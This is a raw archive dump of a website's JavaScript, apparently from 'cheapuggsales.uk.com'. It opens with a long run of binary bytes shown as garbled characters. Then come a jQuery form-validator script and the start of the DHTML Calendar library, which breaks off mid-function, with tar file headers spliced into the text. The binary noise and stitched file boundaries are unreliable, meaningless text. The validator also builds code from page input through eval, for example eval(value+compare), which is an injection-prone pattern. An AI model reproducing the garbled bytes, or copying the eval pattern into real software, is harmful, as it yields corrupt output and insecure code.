A66 - 3- .,6o 3/h-o 'dzz&(CGo߉Oa9ќD= kOOEuj(ǑLʏTIR&K.H= ttI£B0E:qjԪPhY‰ ʾBFdÎT0@ܝK!Aݽ_aw9hP(!Ѣ,fʓmZ,rƝ[|.1鑣wZh%.:^mRi綽7V޿}c\u;o>oüu+],Ebd]/\.*h3;߯~ |HoXg6] !! ,  E9$#%5(,Ԓr(i0.݊`lXtD%ydJ6H^.pl[k=.˿(>Sx~gypv}lNtjx{e> ( ~~ -- ,-(Ĺ ' e -/p(u '" u GN šL1:I<9uG '9cɕ-Q$L'lD7UTTׄ tѦBU@%JJŪ)W?LSY bZvmމБ]xF0I{VXg|-BfE#|.@4OP4u8S g ֥_n;Ө՞(բQ)wǮ<.(ʳ2?eG|LՅ"x/-/y+,p=E1 dQٷ~2Kꔛ$r `m*YsC zFn ak}nnI#Q! ,  %R4Ԝ"CA,(~ں8׼دDA֐2hs݌+p]ˤObKw8^>uz`H~htkv"xm|1Z, -#51"1''[#, ,}, ' p#h1 w a"w #p"b1V-akcB)P@;]XqČ#N-A"߲SyrL4eMʚph\@eq/o D2(𯘳q s:gu@Fu+QAUӯZ#xbR4vG1 Mɻ;8FP`B۩3he11O~ ˟>z(C3A=\Z-ڇAa-qiSRYmG(1;Ž=dtqB[! ,  %dihlp,40T:Ԕn琘9␄\< P)JZ+^f(-N Ǥ4ant#o~$z|u#Svx@"'% #m# S%  $%§ #ְͽ$& A"%  $#H݃'/9BH EdOC)Lq#Fo gBbDIʤC'CRg̙G 4^M=F\dd3 X堙Kl٣̊@@T?}IVUT+ol|gr TeluӭޒvG]l<ݑsg_D )4EQ_i)Pi#!h Da %.@qMOQ `pnyHWC"$s* ]hp$V 8\"\"])*$/, idCard : "this.isIdCard(value)", currency : /^\d+(\.\d+)?$/, number : /^\d+$/, zip : /^[1-9]\d{5}$/, ip : /^[\d\.]{7,15}$/, qq : /^[1-9]\d{4,8}$/, integer : /^[-\+]?\d+$/, double : /^[-\+]?\d+(\.\d+)?$/, english : /^[A-Za-z]+$/, chinese : /^[\u0391-\uFFE5]+$/, userName : /^[a-z_ ]\w{3,}$/i, //unSafe : /^(([A-Z]*|[a-z]*|\d*|[-_\~!@#\$%\^&\*\.\(\)\[\]\{\}<>\?\\\/\'\"]*)|.{0,5})$|\s/, unSafe : /[<>\?\#\$\*\&;\\\/\[\]\{\}=\(\)\.\^%,]/, //safeStr : /[^#\'\"~\.\*\$&;\\\/\|]/, isSafe : function(str){return !this.unSafe.test(str);}, safeString : "this.isSafe(value)", filter : "this.doFilter(value)", limit : "this.checkLimit(Common.strlen(value))", limitB : "this.checkLimit(this.LenB(value))", date : "this.isDate(value)", repeat : "this.checkRepeat(value)", range : "this.checkRange(value)", compare : "this.checkCompare(value)", custom : "this.Exec(value)", group : "this.mustChecked()", ajax: "this.doajax(errindex)", isIdCard : function(number){ var date, Ai; var verify = "10x98765432"; var Wi = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]; var area = ['','','','','','','','','','','','北京','天津','河北','山西','内蒙古','','','','','','辽宁','吉林','黑龙江','','','','','','','','上海','江苏','浙江','安微','福建','江西','山东','','','','河南','湖北','湖南','广东','广西','海南','','','','重庆','四川','贵州','云南','西藏','','','','','','','陕西','甘肃','青海','宁夏','新疆','','','','','','台湾','','','','','','','','','','香港','澳门','','','','','','','','','国外']; var re = number.match(/^(\d{2})\d{4}(((\d{2})(\d{2})(\d{2})(\d{3}))|((\d{4})(\d{2})(\d{2})(\d{3}[x\d])))$/i); if(re == null) return false; if(re[1] >= area.length || area[re[1]] == "") return false; if(re[2].length == 12){ Ai = number.substr(0, 17); date = [re[9], re[10], re[11]].join("-"); } else { Ai = number.substr(0, 6) + "19" + number.substr(6); date = ["19" + re[4], re[5], re[6]].join("-"); } if(!this.isDate(date, "ymd")) return false; var sum = 0; for(var i = 0;i<=16;i++){ sum += Ai.charAt(i) * Wi[i]; } Ai += verify.charAt(sum%11); return (number.length ==15 || number.length == 18 && number == Ai); }, isDate : function(op){ var formatString = this['element'].attr('format'); formatString = formatString || "ymd"; var m, year, month, day; switch(formatString){ case "ymd" : m = op.match(new RegExp("^((\\d{4})|(\\d{2}))([-./])(\\d{1,2})\\4(\\d{1,2})$")); if(m == null ) return false; day = m[6]; month = m[5]*1; year = (m[2].length == 4) ? m[2] : GetFullYear(parseInt(m[3], 10)); break; case "dmy" : m = op.match(new RegExp("^(\\d{1,2})([-./])(\\d{1,2})\\2((\\d{4})|(\\d{2}))$")); if(m == null ) return false; day = m[1]; month = m[3]*1; year = (m[5].length == 4) ? m[5] : GetFullYear(parseInt(m[6], 10)); break; default : break; } if(!parseInt(month)) return false; month = month==0 ?12:month; var date = new Date(year, month-1, day); return (typeof(date) == "object" && year == date.getFullYear() && month == (date.getMonth()+1) && day == date.getDate()); function GetFullYear(y){ return ((y<30 ? "20" : "19") + y)|0; } }, //end isDate doFilter : function(value){ var filter =this['element'].attr('accept'); return new RegExp("^.+\.(?=EXT)(EXT)$".replace(/EXT/g,filter.split(/\s*,\s*/).join("|")),"gi").test(value); }, checkLimit:function(len){ var minval=this['element'].attr('min') ||Number.MIN_VALUE; var maxval=this['element'].attr('max') ||Number.MAX_VALUE; return (minval<= len && len<=maxval); }, LenB : function(str){ return str.replace(/[^\x00-\xff]/g,"**").length; }, checkRepeat:function(value){ var to = this['element'].attr('to'); return value==jQuery('input[name="'+to+'"]').eq(0).val(); }, checkRange : function(value){ value = value|0; var minval=this['element'].attr('min') || Number.MIN_VALUE; var maxval=this['element'].attr('max') || Number.MAX_VALUE; return (minval<=value && value<=maxval); }, checkCompare : function(value){ var compare=this['element'].attr('compare'); if(isNaN(value)) return false; value = parseInt(value); return eval(value+compare); }, Exec : function(value){ var reg = this['element'].attr('regexp'); return new RegExp(reg,"gi").test(value); }, mustChecked : function(){ var tagName=this['element'].attr('name'); var f=this['element'].parents('form'); var n=f.find('input[name="'+tagName+'"][checked]').length; var count = f.find('input[name="'+tagName+'"]').length; var minval=this['element'].attr('min') || 1; var maxval=this['element'].attr('max') || count; return (minval<=n && n<=maxval); }, doajax : function(value) { var fk; var element = this['element']; var errindex = this['errindex']; var url=this['element'].attr('url'); var mode = element.attr('mode') || 1 ; var msgid = element.attr('msgid'); var val = this['element'].val(); var str_errmsg=this['element'].attr('msg'); var arr_errmsg = str_errmsg.indexOf('|') ? str_errmsg.split('|') :str_errmsg; var errmsg = arr_errmsg[errindex]; var type=this['element'].attr('type'); var errcls=this['errcls']; var yescls=this['yescls']; var param = val ?this['element'].attr('param') + '&value=' + val : this['element'].attr('param'); var Charset = Browser.isIE ? document.charset : document.characterSet; var methodtype = (Charset.toLowerCase() == 'utf-8') ? 'post' : 'get'; var method=this['element'].attr('method') || methodtype; var s = $.ajax({ type: method, url: url, data: param, cache: false, async: false, success: function(data){ data = data.replace(/(^\s*)|(\s*$)/g, ""); if(data != 'success') { errmsg = errmsg ? errmsg : data; fk = false; (type!='checkbox' && type!='radio' && element.addClass('errinput')); if(mode == 1) { if(msgid) { id = '#' + msgid; $(id).removeClass('yes'); $(id).addClass('no'); $(id).html(errmsg); } else { jQuery("").html(errmsg).insertAfter(element); } } else if(mode == 2) { alert(errmsg); } return false; } else { fk = true; if(msgid) { id = '#' + msgid; $(id).removeClass('no'); $(id).addClass('yes'); $(id).html(''); } else { jQuery(" ").insertAfter(element); } return true; } } }).responseText; s = s.replace(/(^\s*)|(\s*$)/g, ""); return s == 'success' ? true : false; } }; validator.showErr=function (element, errindex){ var str_errmsg=element.attr('msg') ||'unkonwn'; var arr_errmsg = str_errmsg.split('|'); var errmsg = arr_errmsg[errindex] ? arr_errmsg[errindex]: arr_errmsg[0]; var mode = element.attr('mode') || 1; var msgid= element.attr('msgid'); var type=element.attr('type'); (type!='checkbox' && type!='radio' && element.addClass(this['errinput'])); if(mode == 1) { if(msgid) { id = '#' + msgid; $(id).removeClass('yes'); $(id).addClass('no'); $(id).html(errmsg); } else { jQuery("").html(errmsg).insertAfter(element); } } else { alert(errmsg); } } validator.removeErr = function(element){ element.removeClass(this['errinput']); element.parent('*').find('span[tag="err"]').remove(); } validator.checkajax = function(element, datatype, errindex) { var value=jQuery.trim(element.val()); this['element'] = element; this['errindex'] = errindex; validator.removeErr(element); return eval(this[datatype]); } validator.checkDatatype = function(element,datatype){ var value=jQuery.trim(element.val()); this['element'] = element; validator.removeErr(element); switch(datatype){ case "idCard" : case "date" : case "repeat" : case "range" : case "compare" : case "custom" : case "group" : case "limit" : case "limitB" : case "safeString" : case "filter" : return eval(this[datatype]); break; default: return this[datatype].test(value); break; } } validator.check=function(obj){ var datatype = obj.attr('datatype'); if(typeof(datatype) == "undefined") return true; if(obj.attr('require')!="true" && obj.val()=="") return true; var datatypes = datatype.split('|'); var ok = true; jQuery.each(datatypes,function(index,data){ if(typeof(validator[data]) == "undefined") { ok = false; return false; } if(data != 'ajax') { if(validator.checkDatatype(obj,data)==false){ validator.showErr(obj, index); return ok=false; } else { var msgid= obj.attr('msgid'); if(msgid) { id = '#' + msgid; $(id).removeClass('no'); $(id).addClass('yes'); $(id).html(''); } else { jQuery("").insertAfter(obj); } } } else { ok = validator.checkajax(obj, data, index); } }); return ok; } jQuery.fn.checkForm = function(m){ mode = (m==1) ? 1 : 0; var form=jQuery(this); var elements = form.find('input[require],select[require],textarea[require]'); elements.blur(function(index){ return validator.check(jQuery(this)); }); form.submit(function(){ var ok = true; var errIndex= new Array(); var n=0; elements.each(function(i){ if(validator.check(jQuery(this))==false){ ok = false; errIndex[n++]=i; }; }); if(ok==false){ elements.eq(errIndex[0]).focus().select(); return false; } if(document.getElementById('video_uploader') && !upLoading) { uploadFile(); return false; } if($('#f_filed_1') && set_show==false) { $("select[@id=catids] option").each(function() { $(this).attr('selected','selected'); }); } if($('#hava_checked').val()==0) { YP_checkform(); return false; } return true; }); }cheapuggsales.uk.com/admin_frad/js/calendar/0000777000000000000000000000000011633550314020040 5ustar rootrootcheapuggsales.uk.com/admin_frad/js/calendar/calendar.js0000777000000000000000000013160711633550314022162 0ustar rootroot/* Copyright Mihai Bazon, 2002-2005 | www.bazon.net/mishoo * The DHTML Calendar, version 1.0 "It is happening again" * Details and latest version at: * www.dynarch.com/projects/calendar * This script is developed by Dynarch.com. Visit us at www.dynarch.com. * This script is distributed under the GNU Lesser General Public License. * Read the entire license text here: http://www.gnu.org/licenses/lgpl.html // $Id: calendar.js,v 1.51 2005/03/07 16:44:31 mishoo Exp $ /** The Calendar object constructor. */ //document.createStyleSheet('/images/js/calendar/calendar-blue.css'); var head = document.getElementsByTagName('HEAD').item(0); var style = document.createElement('link'); style.href = '/images/js/calendar/calendar-blue.css'; style.rel = 'stylesheet'; style.type = 'text/css'; head.appendChild(style); Calendar = function (firstDayOfWeek, dateStr, onSelected, onClose) {this.activeDiv = null;this.currentDateEl = null;this.getDateStatus = null; this.getDateToolTip = null;this.getDateText = null; this.timeout = null;this.onSelected = onSelected || null; this.onClose = onClose || null; this.dragging = false; this.hidden = false; this.minYear = 1970; this.maxYear = 2050; this.dateFormat = Calendar._TT["DEF_DATE_FORMAT"]; this.ttDateFormat = Calendar._TT["TT_DATE_FORMAT"]; this.isPopup = true; this.weekNumbers = true; this.firstDayOfWeek = typeof firstDayOfWeek == "number" ? firstDayOfWeek : Calendar._FD; this.showsOtherMonths = false; this.dateStr = dateStr; this.ar_days = null; this.showsTime = false; this.time24 = true; this.yearStep = 2; this.hiliteToday = true; this.multiple = null;this.table = null; this.element = null; this.tbody = null;this.firstdayname = null;this.monthsCombo = null;this.yearsCombo = null;this.hilitedMonth = null;this.activeMonth = null;this.hilitedYear = null; this.activeYear = null;this.dateClicked = false; if (typeof Calendar._SDN == "undefined") {if (typeof Calendar._SDN_len == "undefined")Calendar._SDN_len = 3;var ar = new Array();for (var i = 8; i > 0;) {ar[--i] = Calendar._DN[i].substr(0, Calendar._SDN_len);}Calendar._SDN = ar;if (typeof Calendar._SMN_len == "undefined")Calendar._SMN_len = 3;ar = new Array();for (var i = 12; i > 0;) {ar[--i] = Calendar._MN[i].substr(0, Calendar._SMN_len);}Calendar._SMN = ar;}};Calendar._C = null;Calendar.is_ie = ( /msie/i.test(navigator.userAgent) && !/opera/i.test(navigator.userAgent) );Calendar.is_ie5 = ( Calendar.is_ie && /msie 5\.0/i.test(navigator.userAgent) );Calendar.is_opera = /opera/i.test(navigator.userAgent);Calendar.is_khtml = /Konqueror|Safari|KHTML/i.test(navigator.userAgent);Calendar.getAbsolutePos = function(el) {var SL = 0, ST = 0;var is_div = /^div$/i.test(el.tagName);if (is_div && el.scrollLeft)SL = el.scrollLeft;if (is_div && el.scrollTop)ST = el.scrollTop;var r = { x: el.offsetLeft - SL, y: el.offsetTop - ST };if (el.offsetParent) {var tmp = this.getAbsolutePos(el.offsetParent);r.x += tmp.x;r.y += tmp.y;}return r;};Calendar.isRelated = function (el, evt) {var related = evt.relatedTarget;if (!related) {var type = evt.type;if (type == "mouseover") {related = evt.fromElement;} else if (type == "mouseout") {related = evt.toElement;}}while (related) {if (related == el) {return true;}related = related.parentNode;}return false;};Calendar.removeClass = function(el, className) {if (!(el && el.className)) {return;}var cls = el.className.split(" ");var ar = new Array();for (var i = cls.length; i > 0;) {if (cls[--i] != className) {ar[ar.length] = cls[i];}}el.className = ar.join(" ");};Calendar.addClass = function(el, className) {Calendar.removeClass(el, className);el.className += " " + className;};Calendar.getElement = function(ev) {var f = Calendar.is_ie ? window.event.srcElement : ev.currentTarget;while (f.nodeType != 1 || /^div$/i.test(f.tagName))f = f.parentNode;return f;};Calendar.getTargetElement = function(ev) {var f = Calendar.is_ie ? window.event.srcElement : ev.target;while (f.nodeType != 1)f = f.parentNode;return f;};Calendar.stopEvent = function(ev) {ev || (ev = window.event);if (Calendar.is_ie) {ev.cancelBubble = true;ev.returnValue = false;} else {ev.preventDefault();ev.stopPropagation();}return false;};Calendar.addEvent = function(el, evname, func) {if (el.attachEvent) { el.attachEvent("on" + evname, func);} else if (el.addEventListener) { el.addEventListener(evname, func, true);} else {el["on" + evname] = func;}};Calendar.removeEvent = function(el, evname, func) {if (el.detachEvent) { el.detachEvent("on" + evname, func);} else if (el.removeEventListener) { el.removeEventListener(evname, func, true);} else {el["on" + evname] = null;}};Calendar.createElement = function(type, parent) {var el = null;if (document.createElementNS) {el = document.createElementNS("http://www.w3.org/1999/xhtml", type);} else {el = document.createElement(type);}if (typeof parent != "undefined") {parent.appendChild(el);}return el;};Calendar._add_evs = function(el) {with (Calendar) {addEvent(el, "mouseover", dayMouseOver);addEvent(el, "mousedown", dayMouseDown);addEvent(el, "mouseout", dayMouseOut);if (is_ie) {addEvent(el, "dblclick", dayMouseDblClick);el.setAttribute("unselectable", true);}}};Calendar.findMonth = function(el) {if (typeof el.month != "undefined") {return el;} else if (typeof el.parentNode.month != "undefined") {return el.parentNode;}return null;};Calendar.findYear = function(el) {if (typeof el.year != "undefined") {return el;} else if (typeof el.parentNode.year != "undefined") {return el.parentNode;}return null;};Calendar.showMonthsCombo = function () {var cal = Calendar._C;if (!cal) {return false;}var cal = cal;var cd = cal.activeDiv;var mc = cal.monthsCombo;if (cal.hilitedMonth) {Calendar.removeClass(cal.hilitedMonth, "hilite");}if (cal.activeMonth) {Calendar.removeClass(cal.activeMonth, "active");}var mon = cal.monthsCombo.getElementsByTagName("div")[cal.date.getMonth()];Calendar.addClass(mon, "active");cal.activeMonth = mon;var s = mc.style;s.display = "block";if (cd.navtype < 0)s.left = cd.offsetLeft + "px";else {var mcw = mc.offsetWidth;if (typeof mcw == "undefined")mcw = 50;s.left = (cd.offsetLeft + cd.offsetWidth - mcw) + "px";}s.top = (cd.offsetTop + cd.offsetHeight) + "px";};Calendar.showYearsCombo = function (fwd) {var cal = Calendar._C;if (!cal) {return false;}var cal = cal;var cd = cal.activeDiv;var yc = cal.yearsCombo;if (cal.hilitedYear) {Calendar.removeClass(cal.hilitedYear, "hilite");}if (cal.activeYear) {Calendar.removeClass(cal.activeYear, "active");}cal.activeYear = null;var Y = cal.date.getFullYear() + (fwd ? 1 : -1);var yr = yc.firstChild;var show = false;for (var i = 12; i > 0; --i) {if (Y >= cal.minYear && Y <= cal.maxYear) {yr.innerHTML = Y;yr.year = Y;yr.style.display = "block";show = true;} else {yr.style.display = "none";}yr = yr.nextSibling;Y += fwd ? cal.yearStep : -cal.yearStep;}if (show) {var s = yc.style;s.display = "block";if (cd.navtype < 0)s.left = cd.offsetLeft + "px";else {var ycw = yc.offsetWidth;if (typeof ycw == "undefined")ycw = 50;s.left = (cd.offsetLeft + cd.offsetWidth - ycw) + "px";}s.top = (cd.offsetTop + cd.offsetHeight) + "px";}};Calendar.tableMouseUp = function(ev) {var cal = Calendar._C;if (!cal) {return false;}if (cal.timeout) {clearTimeout(cal.timeout);}var el = cal.activeDiv;if (!el) {return false;}var target = Calendar.getTargetElement(ev);ev || (ev = window.event);Calendar.removeClass(el, "active");if (target == el || target.parentNode == el) {Calendar.cellClick(el, ev);}var mon = Calendar.findMonth(target);var date = null;if (mon) {date = new Date(cal.date);if (mon.month != date.getMonth()) {date.setMonth(mon.month);cal.setDate(date);cal.dateClicked = false;cal.callHandler();}} else {var year = Calendar.findYear(target);if (year) {date = new Date(cal.date);if (year.year != date.getFullYear()) {date.setFullYear(year.year);cal.setDate(date);cal.dateClicked = false;cal.callHandler();}}}with (Calendar) {removeEvent(document, "mouseup", tableMouseUp);removeEvent(document, "mouseover", tableMouseOver);removeEvent(document, "mousemove", tableMouseOver);cal._hideCombos();_C = null;return stopEvent(ev);}};Calendar.tableMouseOver = function (ev) {var cal = Calendar._C;if (!cal) {return;}var el = cal.activeDiv;var target = Calendar.getTargetElement(ev);if (target == el || target.parentNode == el) {Calendar.addClass(el, "hilite active");Calendar.addClass(el.parentNode, "rowhilite");} else {if (typeof el.navtype == "undefined" || (el.navtype != 50 && (el.navtype == 0 || Math.abs(el.navtype) > 2)))Calendar.removeClass(el, "active");Calendar.removeClass(el, "hilite");Calendar.removeClass(el.parentNode, "rowhilite");}ev || (ev = window.event);if (el.navtype == 50 && target != el) {var pos = Calendar.getAbsolutePos(el);var w = el.offsetWidth;var x = ev.clientX;var dx;var decrease = true;if (x > pos.x + w) {dx = x - pos.x - w;decrease = false;} elsedx = pos.x - x;if (dx < 0) dx = 0;var range = el._range;var current = el._current;var count = Math.floor(dx / 10) % range.length;for (var i = range.length; --i >= 0;)if (range[i] == current) break; while (count-- > 0) if (decrease) { if (--i < 0) i = range.length - 1; } else if ( ++i >= range.length ) i = 0; var newval = range[i]; el.innerHTML = newval;cal.onUpdateTime(); } var mon = Calendar.findMonth(target); if (mon) { if (mon.month != cal.date.getMonth()) { if (cal.hilitedMonth) { Calendar.removeClass(cal.hilitedMonth, "hilite"); } Calendar.addClass(mon, "hilite"); cal.hilitedMonth = mon; } else if (cal.hilitedMonth) { Calendar.removeClass(cal.hilitedMonth, "hilite"); } } else { if (cal.hilitedMonth) {Calendar.removeClass(cal.hilitedMonth, "hilite");}var year = Calendar.findYear(target);if (year) {if (year.year != cal.date.getFullYear()) {if (cal.hilitedYear) {Calendar.removeClass(cal.hilitedYear, "hilite");}Calendar.addClass(year, "hilite");cal.hilitedYear = year;} else if (cal.hilitedYear) {Calendar.removeClass(cal.hilitedYear, "hilite");}} else if (cal.hilitedYear) {Calendar.removeClass(cal.hilitedYear, "hilite");}}return Calendar.stopEvent(ev);};Calendar.tableMouseDown = function (ev) {if (Calendar.getTargetElement(ev) == Calendar.getElement(ev)) {return Calendar.stopEvent(ev);}};Calendar.calDragIt = function (ev) {var cal = Calendar._C;if (!(cal && cal.dragging)) {return false;}var posX;var posY;if (Calendar.is_ie) {posY = window.event.clientY + document.body.scrollTop;posX = window.event.clientX + document.body.scrollLeft;} else {posX = ev.pageX;posY = ev.pageY;}cal.hideShowCovered();var st = cal.element.style;st.left = (posX - cal.xOffs) + "px";st.top = (posY - cal.yOffs) + "px";return Calendar.stopEvent(ev);};Calendar.calDragEnd = function (ev) {var cal = Calendar._C;if (!cal) {return false;}cal.dragging = false;with (Calendar) {removeEvent(document, "mousemove", calDragIt);removeEvent(document, "mouseup", calDragEnd);tableMouseUp(ev);}cal.hideShowCovered();};Calendar.dayMouseDown = function(ev) {var el = Calendar.getElement(ev); if (el.disabled) { return false; } var cal = el.calendar; cal.activeDiv = el; Calendar._C = cal; if (el.navtype != 300) with (Calendar) { if (el.navtype == 50) { el._current = el.innerHTML; addEvent(document, "mousemove", tableMouseOver); } else addEvent(document, Calendar.is_ie5 ? "mousemove" : "mouseover", tableMouseOver); addClass(el, "hilite active"); addEvent(document, "mouseup", tableMouseUp); } else if (cal.isPopup) { cal._dragStart(ev); } if (el.navtype == -1 || el.navtype == 1) { if (cal.timeout) clearTimeout(cal.timeout); cal.timeout = setTimeout("Calendar.showMonthsCombo()", 250); } else if (el.navtype == -2 || el.navtype == 2) { if (cal.timeout) clearTimeout(cal.timeout); cal.timeout = setTimeout((el.navtype > 0) ? "Calendar.showYearsCombo(true)" : "Calendar.showYearsCombo(false)", 250); } else { cal.timeout = null; } return Calendar.stopEvent(ev); };Calendar.dayMouseDblClick = function(ev) { Calendar.cellClick(Calendar.getElement(ev), ev || window.event); if (Calendar.is_ie) { document.selection.empty(); } };Calendar.dayMouseOver = function(ev) { var el = Calendar.getElement(ev); if (Calendar.isRelated(el, ev) || Calendar._C || el.disabled) { return false; } if (el.ttip) { if (el.ttip.substr(0, 1) == "_") { el.ttip = el.caldate.print(el.calendar.ttDateFormat) + el.ttip.substr(1); } el.calendar.tooltips.innerHTML = el.ttip; } if (el.navtype != 300) { Calendar.addClass(el, "hilite"); if (el.caldate) { Calendar.addClass(el.parentNode, "rowhilite"); } } return Calendar.stopEvent(ev); };Calendar.dayMouseOut = function(ev) { with (Calendar) { var el = getElement(ev); if (isRelated(el, ev) || _C || el.disabled) return false; removeClass(el, "hilite"); if (el.caldate) removeClass(el.parentNode, "rowhilite"); if (el.calendar) el.calendar.tooltips.innerHTML = _TT["SEL_DATE"]; return stopEvent(ev); } }; Calendar.cellClick = function(el, ev) { var cal = el.calendar; var closing = false; var newdate = false; var date = null; if (typeof el.navtype == "undefined") { if (cal.currentDateEl) { Calendar.removeClass(cal.currentDateEl, "selected"); Calendar.addClass(el, "selected"); closing = (cal.currentDateEl == el); if (!closing) { cal.currentDateEl = el; } } cal.date.setDateOnly(el.caldate); date = cal.date; var other_month = !(cal.dateClicked = !el.otherMonth); if (!other_month && !cal.currentDateEl) cal._toggleMultipleDate(new Date(date)); else newdate = !el.disabled;if (other_month) cal._init(cal.firstDayOfWeek, date); } else { if (el.navtype == 200) { Calendar.removeClass(el, "hilite"); cal.callCloseHandler(); return; } date = new Date(cal.date); if (el.navtype == 0) date.setDateOnly(new Date()); cal.dateClicked = false; var year = date.getFullYear(); var mon = date.getMonth(); function setMonth(m) { var day = date.getDate(); var max = date.getMonthDays(m); if (day > max) { date.setDate(max); } date.setMonth(m); }; switch (el.navtype) { case 400: Calendar.removeClass(el, "hilite"); var text = Calendar._TT["ABOUT"]; if (typeof text != "undefined") { text += cal.showsTime ? Calendar._TT["ABOUT_TIME"] : ""; } else {text = "Help and about box text is not translated into this language.\n" + "If you know this language and you feel generous please update\n" + "the corresponding file in \"lang\" subdir to match calendar-en.js\n" + "and send it back to to get it into the distribution ;-)\n\n" + "Thank you!\n" + "http://dynarch.com/mishoo/calendar.epl\n"; } alert(text); return; case -2: if (year > cal.minYear) { date.setFullYear(year - 1); } break; case -1: if (mon > 0) { setMonth(mon - 1); } else if (year-- > cal.minYear) { date.setFullYear(year); setMonth(11); } break; case 1: if (mon < 11) { setMonth(mon + 1); } else if (year < cal.maxYear) { date.setFullYear(year + 1); setMonth(0); } break; case 2: if (year < cal.maxYear) { date.setFullYear(year + 1); } break; case 100: cal.setFirstDayOfWeek(el.fdow); return; case 50: var range = el._range; var current = el.innerHTML; for (var i = range.length; --i >= 0;) if (range[i] == current) break; if (ev && ev.shiftKey) { if (--i < 0) i = range.length - 1; } else if ( ++i >= range.length ) i = 0; var newval = range[i]; el.innerHTML = newval; cal.onUpdateTime(); return; case 0:if ((typeof cal.getDateStatus == "function") && cal.getDateStatus(date, date.getFullYear(), date.getMonth(), date.getDate())) { return false; } break; } if (!date.equalsTo(cal.date)) { cal.setDate(date); newdate = true; } else if (el.navtype == 0) newdate = closing = true; } if (newdate) { ev && cal.callHandler(); } if (closing) { Calendar.removeClass(el, "hilite"); ev && cal.callCloseHandler(); } }; Calendar.prototype.create = function (_par) { var parent = null; if (! _par) { parent = document.getElementsByTagName("body")[0]; this.isPopup = true; } else { parent = _par; this.isPopup = false; } this.date = this.dateStr ? new Date(this.dateStr) : new Date();var table = Calendar.createElement("table"); this.table = table; table.cellSpacing = 0; table.cellPadding = 0; table.calendar = this; Calendar.addEvent(table, "mousedown", Calendar.tableMouseDown);var div = Calendar.createElement("div"); this.element = div; div.className = "calendar"; if (this.isPopup) { div.style.position = "absolute"; div.style.display = "none"; } div.appendChild(table);var thead = Calendar.createElement("thead", table); var cell = null; var row = null;var cal = this; var hh = function (text, cs, navtype) { cell = Calendar.createElement("td", row); cell.colSpan = cs; cell.className = "button"; if (navtype != 0 && Math.abs(navtype) <= 2) cell.className += " nav"; Calendar._add_evs(cell); cell.calendar = cal; cell.navtype = navtype; cell.innerHTML = "
" + text + "
"; return cell; };row = Calendar.createElement("tr", thead); var title_length = 6; (this.isPopup) && --title_length; (this.weekNumbers) && ++title_length;hh("?", 1, 400).ttip = Calendar._TT["INFO"]; this.title = hh("", title_length, 300); this.title.className = "title"; if (this.isPopup) { this.title.ttip = Calendar._TT["DRAG_TO_MOVE"]; this.title.style.cursor = "move"; hh("×", 1, 200).ttip = Calendar._TT["CLOSE"]; }row = Calendar.createElement("tr", thead); row.className = "headrow";this._nav_py = hh("«", 1, -2); this._nav_py.ttip = Calendar._TT["PREV_YEAR"];this._nav_pm = hh("‹", 1, -1); this._nav_pm.ttip = Calendar._TT["PREV_MONTH"];this._nav_now = hh(Calendar._TT["TODAY"], this.weekNumbers ? 4 : 3, 0); this._nav_now.ttip = Calendar._TT["GO_TODAY"];this._nav_nm = hh("›", 1, 1); this._nav_nm.ttip = Calendar._TT["NEXT_MONTH"];this._nav_ny = hh("»", 1, 2); this._nav_ny.ttip = Calendar._TT["NEXT_YEAR"]; row = Calendar.createElement("tr", thead); row.className = "daynames"; if (this.weekNumbers) { cell = Calendar.createElement("td", row); cell.className = "name wn"; cell.innerHTML = Calendar._TT["WK"]; } for (var i = 7; i > 0; --i) { cell = Calendar.createElement("td", row); if (!i) { cell.navtype = 100; cell.calendar = this; Calendar._add_evs(cell); } } this.firstdayname = (this.weekNumbers) ? row.firstChild.nextSibling : row.firstChild; this._displayWeekdays();var tbody = Calendar.createElement("tbody", table); this.tbody = tbody;for (i = 6; i > 0; --i) { row = Calendar.createElement("tr", tbody); if (this.weekNumbers) { cell = Calendar.createElement("td", row); } for (var j = 7; j > 0; --j) { cell = Calendar.createElement("td", row); cell.calendar = this; Calendar._add_evs(cell); } }if (this.showsTime) { row = Calendar.createElement("tr", tbody); row.className = "time";cell = Calendar.createElement("td", row); cell.className = "time"; cell.colSpan = 2; cell.innerHTML = Calendar._TT["TIME"] || " ";cell = Calendar.createElement("td", row); cell.className = "time"; cell.colSpan = this.weekNumbers ? 4 : 3;(function(){ function makeTimePart(className, init, range_start, range_end) { var part = Calendar.createElement("span", cell); part.className = className; part.innerHTML = init; part.calendar = cal; part.ttip = Calendar._TT["TIME_PART"]; part.navtype = 50; part._range = []; if (typeof range_start != "number") part._range = range_start; else { for (var i = range_start; i <= range_end; ++i) { var txt; if (i < 10 && range_end >= 10) txt = '0' + i; else txt = '' + i; part._range[part._range.length] = txt; } } Calendar._add_evs(part); return part; }; var hrs = cal.date.getHours(); var mins = cal.date.getMinutes(); var t12 = !cal.time24; var pm = (hrs > 12); if (t12 && pm) hrs -= 12; var H = makeTimePart("hour", hrs, t12 ? 1 : 0, t12 ? 12 : 23); var span = Calendar.createElement("span", cell); span.innerHTML = ":"; span.className = "colon"; var M = makeTimePart("minute", mins, 0, 59); var AP = null; cell = Calendar.createElement("td", row); cell.className = "time"; cell.colSpan = 2; if (t12) AP = makeTimePart("ampm", pm ? "pm" : "am", ["am", "pm"]); else cell.innerHTML = " ";cal.onSetTime = function() { var pm, hrs = this.date.getHours(), mins = this.date.getMinutes(); if (t12) { pm = (hrs >= 12); if (pm) hrs -= 12; if (hrs == 0) hrs = 12; AP.innerHTML = pm ? "pm" : "am"; } H.innerHTML = (hrs < 10) ? ("0" + hrs) : hrs; M.innerHTML = (mins < 10) ? ("0" + mins) : mins; };cal.onUpdateTime = function() { var date = this.date; var h = parseInt(H.innerHTML, 10); if (t12) { if (/pm/i.test(AP.innerHTML) && h < 12) h += 12; else if (/am/i.test(AP.innerHTML) && h == 12) h = 0; } var d = date.getDate(); var m = date.getMonth(); var y = date.getFullYear(); date.setHours(h); date.setMinutes(parseInt(M.innerHTML, 10)); date.setFullYear(y); date.setMonth(m); date.setDate(d); this.dateClicked = false; this.callHandler(); }; })(); } else { this.onSetTime = this.onUpdateTime = function() {}; }var tfoot = Calendar.createElement("tfoot", table);row = Calendar.createElement("tr", tfoot); row.className = "footrow";cell = hh(Calendar._TT["SEL_DATE"], this.weekNumbers ? 8 : 7, 300); cell.className = "ttip"; if (this.isPopup) { cell.ttip = Calendar._TT["DRAG_TO_MOVE"]; cell.style.cursor = "move"; } this.tooltips = cell;div = Calendar.createElement("div", this.element); this.monthsCombo = div; div.className = "combo"; for (i = 0; i < Calendar._MN.length; ++i) { var mn = Calendar.createElement("div"); 